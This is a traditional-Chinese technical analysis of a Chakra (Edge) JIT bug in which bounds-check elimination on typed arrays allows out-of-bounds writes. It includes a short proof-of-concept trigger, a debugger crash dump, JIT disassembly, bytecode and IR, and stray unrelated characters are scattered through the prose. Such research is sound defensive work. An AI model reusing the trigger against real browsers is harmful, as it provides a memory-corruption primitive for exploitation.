漏洞概述
該漏洞是由于 Chakra 引擎在優(yōu)化過程中過于激進,刪除了數(shù)組的邊界檢查而導致的數(shù)組越界漏洞
漏洞樣本
漏洞樣本從 yuange 那里的分析文檔中獲得
function write(begin,end,step,num)
{
for(var i=begin;i<end;i+=step) view[i]=num;
}
var buffer = new ArrayBuffer(0x10000);
var view = new Uint32Array(buffer);
write(0,0x4000,1,0x1234);
write(0x3000000e,0x40000010,0x10000,1851880825);
簡要分析
在調(diào)試環(huán)境中打開樣本余寥,Edge 崩潰在如下位置力奋,崩潰點及部分調(diào)用棧如下所示
0:018> r
rax=000100006e617579 rbx=000001c27ff90000 rcx=0000000000000005
rdx=000001ba16817fc0 rsi=000001ba057458a4 rdi=000000a3770fbe50
rip=000001ba058c013c rsp=000000a3770fbb40 rbp=000000a3770fbbe0
r8=0000000000010000 r9=000000003004000e r10=0000000040000010
r11=0000000000000001 r12=000000006e617579 r13=000100006e617579
r14=0001000040000010 r15=000100003000000e
iopl=0 nv up ei pl zr na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
000001ba`058c013c 4689248b mov dword ptr [rbx+r9*4],r12d ds:000001c3`40090038=????????
0:018> k
Child-SP RetAddr Call Site
000000a3`770fbb40 00007ff8`c9d1613a 0x000001ba`058c013c
000000a3`770fbbf0 00007ff8`c9d14d38 chakra!Js::InterpreterStackFrame::DoLoopBodyStart+0x30a
000000a3`770fbcb0 00007ff8`c9d1431e chakra!Js::InterpreterStackFrame::ProfiledLoopBodyStart<0,1>+0x48
000000a3`770fbd10 00007ff8`c9d1a6c8 chakra!Js::InterpreterStackFrame::OP_ProfiledLoopStart<0,1>+0xbe
000000a3`770fbd60 00007ff8`c9d16f23 chakra!Js::InterpreterStackFrame::ProcessProfiled+0x538
000000a3`770fbdc0 00007ff8`c9e1ec1d chakra!Js::InterpreterStackFrame::Process+0x143
000000a3`770fbe20 00007ff8`c9e1e71a chakra!Js::InterpreterStackFrame::InterpreterHelper+0x4bd
000000a3`770fc180 000001ba`159d0faa chakra!Js::InterpreterStackFrame::InterpreterThunk+0x5a
可以看出谚赎,程序崩潰在一段 JIT 代碼中,根據(jù)調(diào)用楈艄唬可以看出程序是在調(diào)用 Loop 的過程中崩潰的,即發(fā)生在處理
for(var i=begin;i<end;i+=step) view[i]=num;
語句的過程中。查看JIT 代碼
// ......
000001ba`058c0120 453bca cmp r9d,r10d
000001ba`058c0123 7d42 jge 000001ba`058c0167
000001ba`058c0125 498bc5 mov rax,r13
000001ba`058c0128 4c8bd8 mov r11,rax
000001ba`058c012b 49c1eb30 shr r11,30h
000001ba`058c012f 4983fb01 cmp r11,1
000001ba`058c0133 0f85eb010000 jne 000001ba`058c0324
000001ba`058c0139 448be0 mov r12d,eax
000001ba`058c013c 4689248b mov dword ptr [rbx+r9*4],r12d ds:000001c3`40090038=????????
// ......
結(jié)合上面給出的崩潰時寄存器信息可以看出 泰演,r9 為 write(0x3000000e,0x40000010,0x10000,1851880825);
中第一個參數(shù),這里 JIT 代碼中并未進行任何邊界判斷葱轩,直接將 r9 當作數(shù)組下標進行訪問睦焕,導致越界訪問的發(fā)生。
一般情況下對于數(shù)組下標的訪問均應先驗證下標合法性靴拱,但是此處的 JIT 代碼卻沒有這一部分垃喊。問題應該出在 JIT 代碼產(chǎn)生的階段
這里對說關(guān)于 JIT 代碼的生成多說一些。
在 Chakra 引擎首先以解釋器的形式執(zhí)行 js 代碼袜炕, 即將代碼編譯成為 byteCode本谜,接著按字節(jié)順序解析執(zhí)行 byteCode 。 舉例來說偎窘,如下所示一段 js 代碼乌助,Chakra 會首先將其變成 byteCode 的形式
for(var i=0;i<0x10000;i++)
{
view[index]=num;
}
生成的 byteCode 如下所示
// byte code
0x00000000000A8B70 a8 07 47 07 02 eb 00 ec 00 12 03 00 07 03 09 12 ?.G..?.?........
0x00000000000A8B80 00 6b 00 00 00 00 08 9b 06 08 05 00 00 28 07 07 .k.....?.....(..
0x00000000000A8B90 09 e4 ff ed 00 a8 00 24 00 00 00 00 00 00 00 00 .?.?.?.$........
0x00000000000A8BA0 c0 29 f7 01 00 00 00 00 80 bf ce 01 00 00 00 00 ?)?.....€??.....
0x00000000000A8BB0 50 fa cd 01 00 00 00 00 40 85 0a 00 00 00 00 00 P??.....@?......
0x00000000000A8BC0 10 e1 a5 d9 fe 07 00 00 00 00 00 00 00 00 00 00
eb 00 Js::InterpreterStackFrame::OP_ProfiledLoopBodyInit
ec 00 Js::InterpreterStackFrame::OP_ProfiledLoopBodyStart
12 03 00 07 03 Js::JavascriptOperators::Less
09 12 00 Js::InterpreterStackFrame::OP_Br
6b 00 00 00 00 08 Js::InterpreterStackFrame::OP_ProfiledGetRootProperty
9b 06 08 05 00 00 Js::InterpreterStackFrame::OP_ProfiledSetElementI
28 07 07 Js::JavascriptMath::Increment
09 e4 ff Js::InterpreterStackFrame::OP_Br
每個 byteCode 對應不同的處理函數(shù),這個過程由函數(shù) InterpreterStackFrame::ProcessProfiled
進行陌知。對于循環(huán)體來說每次進入循環(huán)體都會先進入 OP_ProfiledLoopBodyStart
函數(shù)他托,用于記錄循環(huán)的次數(shù)等信息。當一段 Loop 代碼被執(zhí)行了超過一定次數(shù)之后仆葡,便會進行 JIT 以優(yōu)化程序的執(zhí)行效率赏参。
為了不影響 js 的正常執(zhí)行 JIT 過程由一個獨立的線程進行。JIT 線程首先以解釋器的形式根據(jù) byteCode 生成中間代碼 IR,IR 是一系列指令的集合登刺,構(gòu)成一個雙向鏈表籽腕。上文中的 byteCode 生成的 IR 如下所示
// OP_CODE
FunctionEntry(0x0155)
Label(0x0154)
Ld_I4(0x01bc)
ArgIn_A(0x01c1)
LdSlot(0x008c)
LdSlot(0x008c)
LdSlot(0x008c)
Ld_A(0x0047)
Ld_I4(0x01bc)
Ld_I4(0x01bc)
Ld_I4(0x01bc)
InitLoopBodyCount(0x01e1)
Br(0x0009)
Label(0x0154)
Ld_A(0x0047)
Ld_A(0x0047)
LdRootFld(0x006a)
Ld_A(0x0047)
BailOnNotEqual(0x0205)
FromVar(0x01b7)
FromVar(0x01b7)
BailOnNotArray(0x0210)
LdIndir(0x01c0)
BoundCheck(0x01dd)
BoundCheck(0x01dd)
LdIndir(0x01c0)
BailTarget(0x020a)
Label(0x0154)
StatementBoundary(0x0157)
IncrLoopBodyCount(0x01e2)
ByteCodeUses(0x0217)
BrGe_I4(0x0181)
Label(0x0154)
StatementBoundary(0x0157)
ByteCodeUses(0x0217)
Ld_A(0x0047)
NoImplicitCallUses(0x0219)
ByteCodeUses(0x0217)
StElemI_A(0x009a)
StatementBoundary(0x0157)
Incr_A(0x0028)
Br(0x0009)
Label(0x0154)
StatementBoundary(0x0157)
Ld_I4(0x01bc)
StSlot(0x01cf)
StLoopBodyCount(0x01e3)
Ret(0x0024)
Label(0x0154)
FunctionExit(0x0156)
接著 OP_Code (IR) 經(jīng)一系列處理之后進入編譯階段生成最終的 JIT 代碼。 JIT 代碼生成之后 OP_ProfiledLoopBodyStart
函數(shù)便不會繼續(xù)解釋器模式而是直接跳轉(zhuǎn)到 JIT 代碼中執(zhí)行纸俭。
查看 JIT 代碼生成函數(shù) Func::TryCodegen
皇耗,可以發(fā)現(xiàn)在函數(shù)實際生成 JIT 代碼前會根據(jù) 函數(shù)流圖 對程序進行優(yōu)化
TryCodegen
{
// .....
IRBuilder irBuilder(this);
irBuilder.Build()
// ......
this->m_fg = FlowGraph::New(this, &fgAlloc);
this->m_fg->Build();
GlobOpt globOpt(this);
globOpt.Optimize();
// ......
Encoder encoder(this);
encoder.Encode();
}
其中OptArraySrc
用于對函數(shù)中用到的數(shù)組對象進行優(yōu)化,注意到有如下代碼揍很,當 baseValueType (數(shù)組操作數(shù)的類型)是一個 VirtualTypedArray 時便可以通過優(yōu)化檢測郎楼,將 eliminatedLowerBoundCheck
、eliminatedUpperBoundCheck
窒悔、canBailOutOnArrayAccessHelperCall
優(yōu)化標記設置呜袁。從而在其后產(chǎn)生代碼時直接刪除對與 Array 的下標檢測。導致問題的發(fā)生简珠。
// ......
if (baseValueType.IsLikelyOptimizedVirtualTypedArray() && !Js::IsSimd128LoadStore(instr->m_opcode) /*Always extract bounds for SIMD */)
{
if (isProfilableStElem ||
!instr->IsDstNotAlwaysConvertedToInt32() ||
((baseValueType.GetObjectType() == ObjectType::Float32VirtualArray ||
baseValueType.GetObjectType() == ObjectType::Float64VirtualArray) &&
!instr->IsDstNotAlwaysConvertedToNumber()
)
)
{
eliminatedLowerBoundCheck = true;
eliminatedUpperBoundCheck = true;
canBailOutOnArrayAccessHelperCall = false;
}
// ......
實際調(diào)試時可以發(fā)現(xiàn)程序在解析 StElemI_A
函數(shù)時會進入到此處優(yōu)化判斷阶界, StElemI_A 相關(guān) bytecode 如下
9b 06 08 05 00 00 Js::InterpreterStackFrame::OP_ProfiledSetElementI srcSlot(byte) baseSlot(byte) indexSlot(byte) profileId(word)
而參與優(yōu)化檢測的值 baseValueType 來源為 baseSlot(byte)
,
Value *const baseValue = FindValue(baseOpnd->m_sym);
if(!baseValue)
{
return;
}
ValueInfo *baseValueInfo = baseValue->GetValueInfo();
ValueType baseValueType(baseValueInfo->Type());